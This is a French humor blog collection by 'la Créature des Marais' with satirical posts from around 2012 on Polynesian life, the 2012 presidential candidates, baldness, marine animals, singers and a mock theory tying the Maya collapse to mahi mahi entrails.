L’intégrale du blog de la Créature des Marais.

Attention ! Les titres des articles sont tout petits…

• Express-des-iles

  Express-des-iles

  C’est un nom qui fait rêver sous toutes les latitudes – un Express-des-iles – même à Raiatea et justement, en ce début de week-end dernier, me prélassant face au Pacifique, je vis embouquer la passe un bien curieux cargo.

  

  Sur le champ, je demandai à mon Second d’aller quérir la lunette d’approche. « Que le grand Cric me croque, tonnai-je, si ce particulier-là n’a pas l’intention d’aller à quai. » Nous partîmes donc, mon Second et moi-même, et nous nous vîmes tous deux en arrivant au port à considérer ébahis le BBC Greenland qui nous venait du Chili.

  

  Une nouveauté attendue

  Et qu’y avait-il sur le pont ? Le tout nouvel Express-des-iles ! Chouette ! Pour mémoire, la liaison inter-îles-sous-le-vent se fait en Maupiti Express, renommé évidemment Vomiti Express tout comme dans les Loyauté, en Calédonie, le Beticho – prononcez bétit’cho – est surnommé Vomit’cho. Voici d’ailleurs la recette de Kersauzon contre le mal de mer : une sardine à l’huile dans un café et on avale. Soit, on est toujours malade mais au moins on sait pourquoi.

  Je pense éprouver bientôt les qualités nautiques du nouvel Express-des-iles de Bora Bora à Huahine, par exemple ; en cas de houle, je vous instruirai également de ses propriétés émétiques.

  

  BBC Greenland

  Battant l’irréprochable pavillon d’Antigua-Barbuda, le BBC Greenland est une double grue flottante qui porte 7000 tonnes et atteint presque les 14 noeuds. A mon avis, il doit avoir du mal à éviter une torpille… Tel que vous le voyez, il arrive de Mejillones au pays du Che. Allez, vous avez même le droit à une petite vidéo mal définie et tremblotante, d’accord, mais dont j’ai composé et joué la musique pour l’occasion : Elle s’intitule Petite musique d’ascenseur pour Express-des-iles. Merci de votre attention.

  La prochaine fois, nous parlerons d’une embarcation étonnante qui s’appelle un virus plus.

  
• Nombreuses applications

  Nombreuses applications

  C’est parfois un problème d’utiliser de nombreuses applications. Par exemple, je viens de comprendre que sur l’application facebook chaque photo publiée, une fois agrandie, livrait accès aux précédentes dans un splendide diaporama. Je ne supposais pas qu’une image parue seule fût intégrée de force et par défaut dans un album que je n’avais pas créé. Naïveté et désillusion. Pardon aux ami(e)s  facebook quand j’ai commenté une photo qui datait de 3 semaines la croyant fraîche comme l’oeuf du jour. Mea culpa. Mea Maxima Culpa. Et ce n’est pas ma 1ère boulette.

  

  Multiplicité labyrinthique

  Mais vous y retrouvez-vous, vous, dans ces nombreuses applications ? Avez-vous fait le compte du nombre d’entre elles que vous utilisez quotidiennement ? Faites le compte comme l’alcoolo qui doit prendre conscience de sa conso en la notant sur un papier, si, si, vraiment, allez-y et revenez lire la suite de cet article demain.

  Non. Comme vous êtes intelligent(e), je pense qu’il est inutile de vous le démontrer. Chacun sa chacune et inversement, vous saurez bien vous-même appliquer votre propre liste, vous utilisez de nombreuses applications : informations, recherche, achat, messages ou conversations privés, publiques ou professionnelles, multimédia en prime, et cela sur TV, ordinateur ou téléphone portable, les supports étant multipliés en tailles.

  Ce qui importe dans cette comptabilité, c’est le nombre de machines ou de « programmes » différents que vous aurez utilisés en 24 heures. Je vous épargne les véhicules, les digicodes et les télécommandes.

  Notre cerveau peut-il supporter cela ?

  Notre cerveau supporte « cela » plus facilement que l’idée de la mort. Quant aux singeries  anglo-saxonnes, genre « supporter cela », votre cerveau supporte peut-être cela – sans doute, si vous êtes jeune – mais pas le mien.

  Changement de modèle, de langue, de clavier, de présentation, d’option, un univers bipartite avec croix à gauche ou à droite pour manoeuvrer les fenêtres, le passage de la souris au stylet et voilà que – depuis le tactile – la main y passe tout entière.

  

  Cette mise à jour continue est épuisante. Réalisez-vous que votre cerveau esclave de processus informatiques effectue tant de tâches journalières qu’il faudrait à un berger analphabète des haut-plateaux éthiopiens le cours d’une vie pour comprendre une partie infinitésimale de vos gestes quotidiens en la matière ?

  On me remontrera qu’on peut toujours limiter les applications à l’utilitaire y compris dans la communication. Mais alors les nouvelles technologies sans leur pendant ludique paraîtraient bien tristes, nous serions des rois sans divertissement.

  Échapper à la société du spectacle

  Elle existe depuis fort longtemps et l’on cite couramment le dicton romain pour dompter les foules : Du pain et des jeux (notez que les fauves étaient innocents). La société spectaculaire  – au sens moderne – est née à la fin du millénaire précédent et désormais nous accapare. Résumons : L’essentiel de l’humanité vit en ville devant un écran au moins sur le temps libre. Non seulement, nous sommes captifs du virtuel, la réalité nous est imposée par les médias, et pour faire plus fort encore, nous avons exponientialisé les moyens de bavarder bêtement.

  Puisque la télé, le téléphone et l’ordinateur sont aujourd’hui comme de longs échos qui de loin se confondent, on peut miser peut-être sur ce dernier moyen le seul propice à combattre la passivité d’esprit en même temps que l’universel et vain bavardage : il faut être créatif. Ce que vous créez et partagez sur le web, tout le monde s’en fout, cependant vous vous serez épargné(e) des heures et des heures d’échanges futiles et/ou de gavage médiatique abêtissant.

   Appliquez-vous !

  Être créatif dans le multimédia, c’est facile grâce à l’informatique. même sans talent, comme le prouve ce blog. Les outils ne manquent pas. Non, c’est même le problème, c’est trop facile. On veut tout essayer, tout savoir et pour finir, on ne maîtrise plus rien sans un réapprentissage fastidieux dès lors qu’il s’agit d’applications indispensables quoique peu employées. Cette réadaptation permanente et l’emploi simultané de plusieurs applications dans un but créatif induisent une pathologie : vous souffrez d’actualisation mémorielle à forte pénibilité dûe à l’usage de nombreuses applications. En outre, vous vous cassez le dos et vous vous abîmez les yeux.

  Par conséquent, je vous recommande plutôt de vous aérer, éventuellement de faire du sport et surtout de ne pas avoir la télé pour une meilleure hygiène de vie. J’espère que mes conseils avisés seront suivis de vos nombreuses applications. Merci de votre attention.

  
• Presidentielle 2012 : quel choix ?

  Quel choix pour la presidentielle 2012 ? Un choix difficile pour beaucoup d’entre nous, on y perd son accent, n’est-ce pas ? Chacune et chacun et chacune aura bien remarqué que les Françaises et les Français – comme disent nos personnalités politiques – commencent précisément à ne plus pouvoir piffrer cette catégorie sournoise d’individus qui – justement – briguent la presidentielle… 

  Alors pour le premier tour de cette presidentielle, la CdM vous a confectionné une petite BD diaporama dont le héros n’est autre que le sympathique capitaine pirate playmobil. Armé de son honnêteté, il mettra à l’épreuve ces énergumènes qui visent la presidentielle : il ne devra en rester aucun !

  En cliquant sur l’image ci-dessous, vous parviendrez sur ma page presidentielle à partir de laquelle vous pourrez lancer un diaporama BD.

  

  Si jamais cette page autonome vous était inaccessible, vous pourrez retrouver le diaporama de la BD sur la Presidentielle 2012 chez la créature des marais de Facebook autant vous dire qu’on ne fera pas plus d’efforts.

  La CdM avait déploré discrètement ça et là sur ce blog le barbarisme langagier de l’actuelle figure présidentielle. Parlons à sa manière : S’il y en a que ça les démange de prendre leur retraite, eh ben, qu’y z’y aillent. Merci de votre attention et bon vote…

   

   

  
• Positivons la calvitie

  Il y a plus de deux millénaires les rhéteurs méditerranéens vantaient les avantages de la calvitie à titre d’entraînement sophistique, comme je l’ai appris dans l’ouvrage de Patrick Dandrey,l’éloge paradoxal de Gorgias à Molière, PUF, 1997.

  A notre époque où les médias offrent à toutes et à tous l’opportunité de pratiquer le happening personnel, pourquoi se priver ? Une réunion de compères sous la houlette de la CdM et hop, positivons la calvitie à l’occasion des fêtes pascales. Simple comme l’oeuf de Colomb.

  Je rappelle les principaux inconforts de la calvitie :

  • obligation de porter un couvre-théière au soleil
  • absence de protection contre les branches basses et les placards supérieurs
  • sensations désagréables sur le cuir non-chevelu sous une pluie froide
  • fait de paraître plus âgé

  L’aspect le plus pénible de la calvitie est peut-être l’ineptie des comparaisons du quidam. Les références qui m’horripilent sont Kojack, Barthès et Obispo. En revanche, je me sens flatté lorsqu’on évoque Yul Brynner et j’aime sentir le vent sur mon crâne au petit matin. Pas si difficile de positiver la calvitie. Merci de votre attention et bonne fête de Pâques.

  
• tétrodon moucheté

  Le tétrodon moucheté est un charmant petit poisson à quatre dents comme la créature des marais.

  Pour ma part, en ce premier jour du mois, je goûtais immodérément les joies du motu sans songer un instant à faire une blague de 1er avril.

  

  Quand vous touchez au paradis sur ces îlots qui encadrent la passe, votre esprit baigné d’azur, élevé de feuillage et tapi sur le sable blanc, a tendance à s’éloigner de la farce potache.

  Il aura fallu qu’un tétrodon moucheté me fasse une piqûre de rappel avec ses petites dents pointues. Rentré du motu, évidemment pas d’idées rigolotes comme ça tout de suite alors je vous livre simplement la preuve en images que c’est bien le tétrodon moucheté qui m’a fait un poison d’avril. Merci de votre attention.

  
• Marion Anne Perrine

  Marine

  Comme le rappelait l’humoriste Stéphane Guillon, elle se prénomme Marion Anne Perrine Le Pen. M.A.P. Le Pen, c’était pas bien ? Nettement moins bien que Marine, songez à toutes les résonances maritimes du prénom et vous concevrez son enjôlement subliminal. Sinon réfléchissez, je vais faire pipi et je reviens.

  Maintenant que vous avez considéré l’ensemble des avantages que l’on obtient en se prénommant Marine séduisant tout à la fois le scout en bermuda,  le grand-père en caban, le peintre officiel de la Royale et les amoureux de la mer en général, accordez-moi qu’il vaut mieux s’appeler Marine Le Pen que Marion Le Pen qui est un peu convolé.

   Marion

  Xénophobe, Marine ? Ah bon ? Regardez son premier vrai prénom : Marion est, tout comme Marie, un dérivé de la Myriam hébraïque. Lisez « au chapitre 12 du Livre des Nombres, [où] elle se rebelle, et brigue la place de Moïse à la tête du peuple, en « complot » avec son frère Aaron. La lèpre éclate alors sur son visage [...] » (Wikipedia-Myriam) Marine Le Pen est peut-être sémitophile finalement, en tout cas, il y a de la filiation dans le caractère, même si la lèpre n’a pas encore éclaté sur son visage. On verra.

  Anne

  Passons avec méthode au second vrai prénom de Madame Le Pen, Anne, de Hannah, variante Annick… Bon. Ste Anne. Examinons plus attentivement  la personnalité de cette Sainte Anne et rions un peu des régionalismes. Anne serait la mère de Marie, elle-même mère du Christ. Pour les Bretons, elle naquit chez eux avant de suivre un géniteur membré qui l’abandonna odieusement en Palestine par la suite. C’est ainsi qu’elle revint en son pays natal. Son fils (Jésus) lui aurait rendu visite en Bretagne et compagnie de Pierre et Jean pour vider une corne de chouchen avant de s’en retourner vers le destin qu’on lui connaît.

  Au XVIIe siècle, Ste Anne est apparue à Yves Nicolazic, la foi de ce paysan aisé lui ayant assuré le succès que l’on sait jusqu’au grand Pardon. Mais selon mes sources, une voisine, Soizic Le Picolec, a affirmé par la suite que c’était la petite Le Pen, fille de Yann-Marie (et ancêtre de Marion Anne Perrine, gageons-le), qui avait joué les fantômes pour attirer le Yves dans les bois afin de korriganer. Très pieux, le gars Nicolazic n’en était pas pour autant à jeûn de chouchen tous les jours… et persuadé d’avoir été visité par Ste Anne, il commença de construire son église à Auray. La petite Annick n’osa le contredire. Elle épousa d’ailleurs un certain Ronan Lèzélecteurs.

   Perrine

  Achevons avec le troisième vrai prénom de Marion Anne, c’est-à-dire Perrine. Connaissez-vous la chanson « Perrine était servante, chez Monsieur le curé » immortalisée par Annie Cordie ? Je conçois que la fille de Jean-Marie ait répugné à porter ce prénom – la Perrine de la chanson oublie son amant dans la huche à pain. Il y trémeurt.

  

  Toutefois, Il est à considérer que chez les Le Pen, on use de prénoms d’origine juive quoique très catholiques pour nommer ses enfants, c’est vrai, mais on a aussi le sens de la famille et il fallait donc qu’on l’appelât Perrine par respect pour sa mère qui s’appelle Pierrette (contraction bretonne de Pierre Perret).

  Conclusion

  Ce qui est sûr, c’est que jamais la Créature des Marais ne votera pour une personne qui se dote d’un pseudo aguicheur : elle ne connaît que trop les raisons inavouables qui président au choix de la dissimulation… Merci de votre attention.

  PS : Merci pour la partition au site du diato.

  
• Le bénitier

  Il n’est guère qu’en notre noble langue française que le bénitier puisse évoquer le bassin d’eau bénite aussi bien qu’un mollusque géant sans parler des grenouilles qui offrent un rébus facile.

  Le bénitier d’église

  Les Chrétiens ont-ils été les précurseurs du self-service en plaçant à l’entrée des églises ces receptables où le pire des pécheurs peut tremper ses doigts maudits et se dédouaner d’un vague signe de croix en franchissant sinistrement le seuil de la place consacrée ? Je ne vous le demande pas mais comment me direz-vous plutôt un mollusque géant a-t-il pu se croiser avec un vase impliqué dans une affaire d’autobénédiction en liquide ?

  

  Pour cela, la réponse est célèbre et tout part de Pierre l’Hermite qui curieusement ne se prénommait pas Bernard. En effet, le mollusque dont nous parlons, le tridacne gigas gite dans les coraux de Mer Rouge et de l’océan indo-pacifique. La libération provisoire du tombeau du Christ coïncidait pour les Européens avec l’acquisition de babioles exotiques et au rayon coquillage des curios, les Chrétiens s’extasièrent.

  Et la dépouille du tridacne géant, être innocent s’il en est, baptisée post-mortem, vint orner sans nombre les sanctuaires d’Occident à la place des vaisseaux de pierre. La vasque des Templiers est aujourd’hui une espèce menacée.

  Qui est le bénitier alias tridacne géant ?

  Le meilleur d’entre nous et dire que vous l’ignorez. Le bénitier, donc, est un mollusque géant niché dans un coquillage géant, jusqu’ici rien d’extraordinaire, le gigantisme est rebattu, mais considérons à présent son mode de vie, de restauration et de reproduction et l’on conviendra avec moi qu’il s’agit là d’un animal prodigieux.

  

  • Le bénitier se fixe sur un rocher et se laisse recouvrir par les coraux de sorte que seules ses « lèvres » affleurent tandis que deux orifices, l’un entrant, l’autre sortant, laissent circuler en lui le milieu ambiant : il vit en toute sérénité tel Diogène en son amphore.
  • Pour se sustenter, le mode de nutrition retenu par le bénitier est une merveille de réduction : ses lèvres produisent de la lumière et, par photosynthèse, favorise la prolifération d’algues absorbées directement par les globules blancs. Suivant ce régime, le tube digestif du tridacne adulte se réduit à sa plus sobre expression, évitant le danger de la sigmoïdite.
  • Lorsqu’on sait à quel point les pratiques reproductrices humaines en la matière sont sources de complication, on s’étonne encore une fois de l’extrême simplicité du procédé choisi par le bénitier. Il est hermaphrodite à ses heures, éjecte les gamètes à l’envi et les ovocytes à loisir de sorte que la rencontre produise des larves. Celles-ci mènent une vie planctonique puis se fixent à leur tour sur une roche pour évoluer en bivalve comme papa-maman.

  

  Vous conviendrez maintenant avec moi que le bénitier est un être idéal : il ne pose pas de problème d’habitat, il n’ennuie jamais ses voisins, il cultive son potager dans son propre corps, admirable autarcie. Si l’on ajoute qu’il ne saurait rien connaître des problèmes de couple ni même de ceux de l’éducation, on se dit peut-être que le bénitier mériterait un coup de pied au cul. Merci de votre attention.

  
• Oursin crayon en hommage à Moebius

  Redoutant par dessus tout de prononcer l’éloge funèbre d’un créateur comme Jean Giraud alias Gir ou Moebius, on a choisi cette photographie sous-marine en guise d’hommage : un oursin crayon.

  

  Oursin crayon en hommage à Moebius

  Après ces quelques secondes de profond recueillement que nous avons partagées si vous aimez l’oeuvre de ce grand homme, vous êtes autorisé(e) à quitter ce blog avec mes remerciements. Requiescat in pace.

  Annonce : A la suite de l’oursin crayon sur lequel nous reviendrons sûrement, nous proposerons prochainement un article hautement documenté sur le bénitier. Celles ou ceux qui veulent préparer leur commentaire et mesurer si je m’écarte de la vérité peuvent consulter wikipedia à l’avance. Merci de votre attention.

  
• Blog perso : pub ou pas pub

  Qu’est-ce que bloguer ?

  Bloguer est une activité chronophage comme twitter, en moins grave. Lorsqu’on se donne la peine d’alimenter un blog personnel sur soi et son propre avis, c’est que l’on ressent un besoin de communiquer à autrui que l’on est conscience de soi, en soi et pour soi qu’en tant qu’on est conscience de soi. Si vous fofotez, l’avis de Hegel à propos du blog perso est plus rigolo. Bref, doit-on mettre de la pub sur un blog perso ?

  De la pub sur un blog perso ?

  Sûrement pas. Ce serait une pure escroquerie de mettre de la pub sur un blog perso à moins de présenter du contenu original et de qualité, c’est-à-dire réalisé par la blogueuse ou le blogueur :

  • de très belles photographies 
  • des infos passionnantes et inédites
  • de fines analyses politiques
  • des animations sophistiquées 
  • des sons super géniaux

  Certes cela n’est pas donné à tout le monde, je m’y essaie d’ailleurs sans succès mais sur un malentendu, ça peut marcher. Avançons : Si le blog perso nous parle en général de soi, des siens, des lieux où on vit, de ses expériences, de ce que l’on pense alors pourquoi y placer de la pub ? Comprenons-nous bien : Seul l’auteur d’un blog perso de qualité pourrait, et encore en cas de dénuement, se résoudre à défigurer son oeuvre par une fenêtre malsaine indiquant une ruse de petit ventre ou comment devenir trader$… Et comprenons-nous mieux, sur un blog perso dans lequel les gens racontent leur vie (sauf si elle est rigolote) ou ce qu’ils aiment (sauf si c’est intéressant), la pub devrait être tout simplement bannie. C’est également valable pour facebook.

  Objection facile

  Oui mais voilà : un blog perso, c’est mieux quand c’est gratuit et tout le monde a le droit de s’exprimer. D’accord mais le résultat, c’est souvent un blog perso gavé de pub… Sans parler de Zoupette (10 ans) qui veut partager le cliché trop adorable de ses trois chatons et fait à son insu de la pub pour le viagra. On évitera le cas des adolescents, je vous en prie.

  

  Comment faire un blog perso sans pub ?

  Faire un blog perso sans pub est la moindre des décences. Vous êtes abonné(e) au net ? Les fournisseurs d’accès offrent en général la possibilité de créer un blog perso sans pub. D’autre part, quelques hébergeurs pour lesquels je ne fais pas de pub proposent également des hébergements de blog sans pub, c’est une autre solution. Mais le nom de votre blog est précédé ou suivi du nom de l’hébergeur ou du fournisseur. La meilleure solution consiste tout de même à sacrifier 5 € par an afin de disposer d’un espace de stockage et d’un nom de domaine (ex : moi.com). Vous installez alors un logiciel de gestion de blog comme dotclear ou wordpress – parfois l’hébergeur ou le fournisseur vous propose de l’installer en module genre tout automatique si ce n’est pas le cas, vous apprendrez à utiliser un utilitaire de transfert de fichiers comme filezilla et peut-être même à créer une base de données - et le tour est joué. Vous avez enfin un blog perso à votre nom ou sous votre avatar sans rien d’autre qui le précède ou le suit et le monde entier vous distingue désormais du commun des mortels, vous êtes visible (ex: MOI.com).

  De la pub sur ce blog perso ?

  Vous n’y songez pas. C’est à l’opposé de mes convictions. Je paie pour vous présenter des âneries car je suis une créature hautement morale à l’état naturel et je m’en voudrais d’infliger de sordides annonces immobilières aux personnes de bonne volonté qui viennent partager des billets aussi philanthropiques que comment j’ai maigri de 15kg en 3 mois en arrêtant la bière ou le remède facile et définitif contre les ongles incarnés ou encore l’article que vous achevez de lire. Merci de votre attention.

  PS : Au fait, le blog n’était plus actualisé depuis un certain temps, c’est que je faisais un test de blog blanc. C’est très reposant (et moins fibreux que le crottin de tapir).

  
• 2012, calendrier maya et année des mahi mahi

  Introduction sur le mahi mahi avec digression garantie

  Pour commencer, sachez si vous l’ignorez que le nom familier de la splendide daurade ou dorade coryphène est mahi mahi. Les gens qui ne savent pas prononcer les « h » expirés disent Maille-maille, ce qui a mon sens est moins joli mais qu’y peut-on ? La dernière fois, j’avais parlé pas très gentiment de vulgarité et Renaud contre lequel je n’ai rien d’ailleurs, seulement les visites ont baissé de 50 %. J’en conclus que causer de Renaud, c’est chiant. Ou alors que la moitié de mes visiteuses/eurs est composée de loubard(e)s en perfecto skaï avec le bandana rouge au cou – genre communard des 80′s. Et pourtant, si je n’aime pas le vulgaire de sa façon, il a bien évolué en tant qu’homme. J’entends par là qu’il paraît plus réfléchi et qu’il a cessé la picole quand Gainsbourg s’est exhibé bien cuit jusqu’au bout se sachant ridicule sur la fin. Côté artiste, je maintiens ma comparaison mécanique : Renaud est une mobylette et Gainsbarre une Rolls. Il faut s’y faire. C’est comme le mahi mahi, il peut jouer les caméléons, faire du 50 noeuds et présente un dimorphisme sexuel. C’est comme ça.

  

  Qui sont les Maya ?

  Bon, parlons plutôt du mystérieux rapport et de certaines affinités qui existent entre le mahi mahi et les fameux calculs maya au sujet de la fin du monde, vous savez bien, avant décembre 2012. Voilà un sujet porteur qui devrait redorader mon blason. En effet, l’effondrement des cités mayas a suscité pléthore d’hypothèses. Pour résumer les faits, disons que la conjonction d’un écosystème négligé, d’une démographie galopante et de guerres intestines diarrhéiques les auraient conduits à leur perte. Exemple édifiant s’il en est pour notre époque.

  Les Mayas furent de brillants architectes, mathématiciens vicésimaux et astronomes pointilleux, c’est pourquoi des petits malins – dans une intention sans doute plus bête que méchante – ont interprété leur calendrier de manière eschatologique. Pures foutaises, évidemment. Pour deux bonnes raisons, d’une part la conception temporelle des Maya est cyclique et d’autre part, ils ne croyaient pas à l’astrologie pour les choses sérieuses mais considéraient comme infaillibles les paroles de leurs haruspices.

  Quel est le rapport entre le mahi mahi et les haruspices ?

  Le voilà : les Mayas ne se contentaient pas de consommer le mahi-mahi des eaux caraïbes ou pacifiques en papillotes ou grillé, ils pratiquaient aussi la lecture divinatoire des entrailles et précisément celles de mahi mahi. Baignés dans l’haruspicine, ils prirent des décisions radicales concernant la conduite de leurs affaires, abandonnèrent leurs cités à la jungle et c’est ainsi qu’à cause d’un gros côlon de mahi mahi s’effondra la brillante civilisation maya.

  

  L’exemple imparable du poulet sacré

  Je vois poindre l’esquisse du sourire narquois de mon lectorat à cette annonce fascinante et il est heureux que personne n’ose commenter impudemment mes articles car cela me titille le sarcasme.
  Bref, aux objecteurs de toute plume qui s’aviseraient de se gausser de mon hypothèse personnelle, je rappellerai que la déclaration d’une guerre, la nomination d’un consul ou la dérivation du Tibre dépendaient en grande partie de l’appétit des poulets sacrés chez les Romains. Voyez-vous, tout le monde connaît les oies du capitole, seuls les initié(e)s goûtent la saveur du poulet sacré. Les Romains – qui n’ont pas soudainement disparu, on le sait – accordaient éventuellement leur confiance aux aruspices à l’instar des Mayas (oui, on peut écrire haruspice sans le « h ») mais ils étaient de tendance ornithomancienne sous l’influence étrusque : ils baillaient donc leur confiance aux corneilles et autres volatiles.

  D’où il appert que si le Romain voyait dans la tripe aviaire un message divin, le Maya ordinaire avait le droit de penser la même chose du poisson et fonder ses choix sur la couleur du boyau de mahi mahi. Supposons que vous pensiez le contraire : vous passeriez pour moins tolérant qu’un taliban, plus crasse qu’un Caliban, plus vain qu’un millénariste. D’ailleurs, les Maya pensaient qu’on ne pouvait atteindre le domaine des oiseaux que par la fumée d’un papier imbibé de leur propre sang. Donc, si vous m’en croyez, mignonne, admettons cet aspect des événements jusque là inédit : La chute des cités maya est le fruit des entrailles de mahi mahi.

  

  Une vérité longtemps cachée ?

  Mais certainement ! D’emblée, le clergé européen a détruit tous les livres excepté les quatre célébrissimes codex sur écorce de figuier. Or l’écriture maya naît au XXIIIe siècle avant Terry Gilliam. Pensez donc qu’ils eurent vraisemblablement de vastes bibliothèques du temps de leur splendeur au IXe siècle après Jésus Christ. Et puis, ce qui nous reste est mince et pétrifié au sens étymologique, seulement décodé à 80% (car – pour ceux qui s’intéressent à la question – leur système est mixte, logographique et phonétique pour composer 800 glyphes mais d’alphabet point).

  Que s’est-il réellement passé avec le mahi mahi ?

  Un truc épouvantable, on peut le dire. Un malheureux haruspice maya dont le nom est tu par l’histoire magnanime fut frappé d’horreur un beau matin en lisant son mahi mahi. Il y était écrit sang sur viscères qu’un citadin d’une des nombreuses cités maya déclencherait inéluctablement en 2012 après Kukulkan l’apocalypse totale et irréversible. le cauchemar maya. Et précisément, on était en 2012 après Kukulkan. Les autorités ne parvinrent pas à juguler la rumeur. Qui aurait pu vivre entre les murs de pierre avec une telle idée en tête ? En quelques mois, les maya quittèrent les villes pour s’établir dans une maison de campagne. Hélas, les promoteurs immobiliers de l’époque devant l’afflux des clients perdirent leurs derniers scrupules en même temps que les commandes de pyramides. En quelques années, les résidences secondaires devenues principales s’écroulèrent sans laisser de traces et les Maya, accablés par tant de malheurs, trop humiliés pour construire des cabanes, s’enfuirent honteusement au fond des marais. On ne les revit jamais. Voilà tout.

  

  Cette histoire est-elle véridique ?

  Rome n’est plus dans Rome, les oeuvres de Molière sont de Corneille, les maya habitent aujourd’hui avec la créature des marais, personne ne vous oblige à me croire mais comme toujours sur internet, vous pouvez comparer les informations, consulter les articles Wikipedia sur le mahi mahi, la civilisation maya et les poulets sacrés pour recouper, au pire, vous apprendrez des choses… Mais je l’avoue, si vous parvenez aux mêmes conclusions que les miennes, je vous saurai gré de partager vos renseignements pour me rassurer. Merci de votre attention.

  
• Renaud, chanteur populaire

  Renaud est-il un chanteur populaire ?

  Je n’aime pas le populaire – grand bien me fasse – et donc je n’aime pas Renaud, son accent gouailleur seconde nature, ses pets de révolte permanente et sa mièvrerie sentimentale. Voilà, ça, c’est fait. On enfonce le clou ? L’humour de Renaud n’échappe pas à cette pesanteur grossière qui caractérise le loubard pourtant fluet.

  
  Quelle est la meilleure chanson de Renaud ?

  Après ce qu’on vient de lire, on se doute que le choix est difficile. Si, Si, Renaud a bien écrit quelques chansons qui ont le malheur de me plaire : Les aventures de Gérard Lambert 1 & 2, la pépette – une histoire d’auto-tamponneuse populaire – et une dernière.

  Eh oui, pour Lambert et la pépette, je vous laisse chercher mais la dernière dont j’ignore le titre d’ailleurs, la voici ci-dessous. Elle est très rigolote.

  Dis-moi, Renaud, d’abord pourquoi ?

  Y-a-t’il un chanteur français meilleur que Renaud ?

  Il y en a des tonnes. Pour ma part, je révère Gainsbourg. Faisons la comparaison : Si Renaud est une motobécane biplace à guidon torsadé des 70′s alors Gainsbourg est une Rolls Royce SilverGhost de 1910. On notera un point commun : Renaud Séchan aimait la picole. Si je ne l’ai placé dans les alcooliques célèbres, vous savez maintenant pourquoi. Merci de votre attention.

  

  PS : Il faudrait que je parle du génial Jacques Higelin (inférieur selon moi à Gainsbourg mais qui plane loin au-dessus de Renaud). Tant qu’on y est, j’adresse mes meilleurs voeux posthumes à feu Alain Bashung.

  
• Motu Ceran

  Le motu Ceran alias motu Mahaea est un îlet récifal situé en face de la profonde baie de Haamene à Tahaa.

  

  C’est un îlot de verdure ébouriffée sur du sable blanc que baignent les eaux turquoises du lagon. Paradisiaque, quoi. Pour vous donner une idée, la Créature des Marais vous propose cette image en stéréoscopie du motu Ceran.

  

  Pour vous offrir une vue plus réaliste du motu Ceran, le voici en panorama classique.

  

  Pour vous immerger enfin dans le lagon devant le motu Ceran, testez le panorama 360° de la Créature des Marais.

  Merci de votre attention et avouez que le motu Ceran, c’est plus sympathique que l’homme nu de laredoute ou Jeanne d’Arc récupérée, non ?

  
• Jeanne d’Arc et récupération politique

  C’est seulement au XIXe siècle que les historiens (dont les principaux des mécréants d’ailleurs) font l’éloge de la bonne Lorraine, quatre siècles après Maître Villon. A partir de là, la récupération politiquement posthume de Jeanne d’Arc fut ouverte et, contemporains que nous sommes, nous savons que le 1er mai, le FN contre-défile autour de la statue de l’héroïne nationale.

  Manque de bol pour nous, coïncident cette année l’élection présidentielle et l’anniversaire de Jeanne d’Arc. Après l’avoir brûlée, on va la manger à toutes les sauces. Alors, examinons mais très rapidement la légitimité de quelques candidat(e)s à se réclamer de Jeanne d’Arc.

  Commençons par Lepen et rapprochons-là de Jeanne d’Arc qui disait « J’aime les Anglais chez eux ». On remarquera au passage que ce refus de voir les Anglais débarquer chez soi  dénote un statut prépubère. Que signifie donc en cette matière le « Tous les étrangers dehors » de Marine ? un état de ménopause ?

  Le rapport entre Hollande et Jeanne d’Arc est, je l’affirme, inexistant pour la bonne raison que François n’est ni lorraine ni xénophobe. Encore moins pourrait-on dire qu’il est issu du peuple.

  Concernant les liens de Jeanne d’Arc et Sarkozy, ils existent, c’est indéniable et j’ai découvert des choses en fabriquant mon photomontage. Ainsi, si vous tapez « coupe jeanne d’arc » en recherche images sur google, vous découvrez que Nicolas est omniprésent. Sur les 30 premiers résultats, Nicolas apparaît 6 fois et avant Marine ou Jean-Marine et sur de belles photos à dominante bleue, en super bonne définition. Nickel. Il est superbe, on oublie Jeanne d’Arc.

  Il faudrait peut-être une extension google qui ajoute « -sarkozy » à toutes les requêtes pour y échapper au moins sur le web à ce gars-là. Le petit père Hollande a  du souci à se faire question image de marque car même en cherchant « François Hollande », on ne trouve qu’un choix restreint de photos, de mauvaise qualité et à dominante marron… Enfin, moi, je dis ça, je dis rien.

  En revanche, je propose qu’une nouvelle exigence soit inscrite dans les conditions à la candidature présidentielle 2012. Pour prouver la sincérité de leur amour de la nation, toutes et tous les candidats et candidates de cette année devront porter la coupe au bol.

  

  
• L’homme nu de laredoute

  Un homme nu qui sort de l’eau sur l’arrière-plan d’une photographie de bambins ? Chacun(e) y va de sa petite blague. Merci à laredoute de nous faire ce cadeau hilarant en ce début d’année. Les hommes d’avant le web se souviennent des pages émoustillantes de ce catalogue, idéales pour les crampes génitales et puis laredoute avait pensé aux femmes avec le vibromasseur, idéal pour les douleurs cervicales ou autres. Mais qui aurait cru que laredoute irait jusqu’à faire ses photos publicitaires rayon enfant en présence d’un homme nu ? L’intention est si obscure qu’on se permet une farce paradoxale ci-dessous.

  

  PS : John Cleese et Bruce Weber n’ont pas travaillé pour laredoute, ni laredoute pour la créature des des marais, c’est un photomontage. Merci de votre attention. 

  
• 2012, Ami, les temps sont durs

  Je n’ai pas eu le temps de faire la vidéo promise pour les voeux 2012, vous savez ce que c’est. J’aurais aimé vous faire sourire avec des jeux de mots à deux yens comme les 2000 douze salopards. Ce n’est pas du tout que je n’aie pas voulu me casser les noix les neurones, non, je me suis retenu par pudeur.

  En effet, ces voeux 2012 sont adressés à des français en particulier parce que formulés en cette langue (et puis je doute de la sincérité de ceux qui s’adressent aux Français, en général). Cela dit, je suis en ce moment planqué sur une île paradisiaque dans le Pacifique et en ces temps de déclin de l’occident, de bouleversements climatiques sans précédents et sans compter la morosité entretenue du moral hexagonal, on risquerait de me croire égoïste si je venais à souhaiter joyeusement 2012 à mes compatriotes et compatriotesses accablés par la misère nationale et la gastro.

  Vous accepterez bienveillamment ces voeux dont la sobriété chromatique, la modestie et la brièveté d’expression sont peut-être contrebalancées par le mouvement si ça marche chez vous. Sinon, bonne année quand même.

  
• Pré bonne année 2012

  Nous sommes sur la fin des fuseaux en Polynésie, autrement dit, il me reste 12 heures pour réaliser les voeux de bonne année 2012 en vidéo alors que vous êtes déjà en 2012. Voici pourquoi ce post s’intitule une pré bonne année 2012… C’est de l’humour. Rogntûdjû !

  Un détournement d’humour rural en l’occurrence, par la créature des marais donc, avec des personnages du grand Franquin, père du génial Gaston Lagaffe, mais également auteur des idées noires (voici une de mes favorites).

  

  Je vous souhaite donc une pré pré bonne année 2012. Merci de votre attention.

  
• TalkingSanta

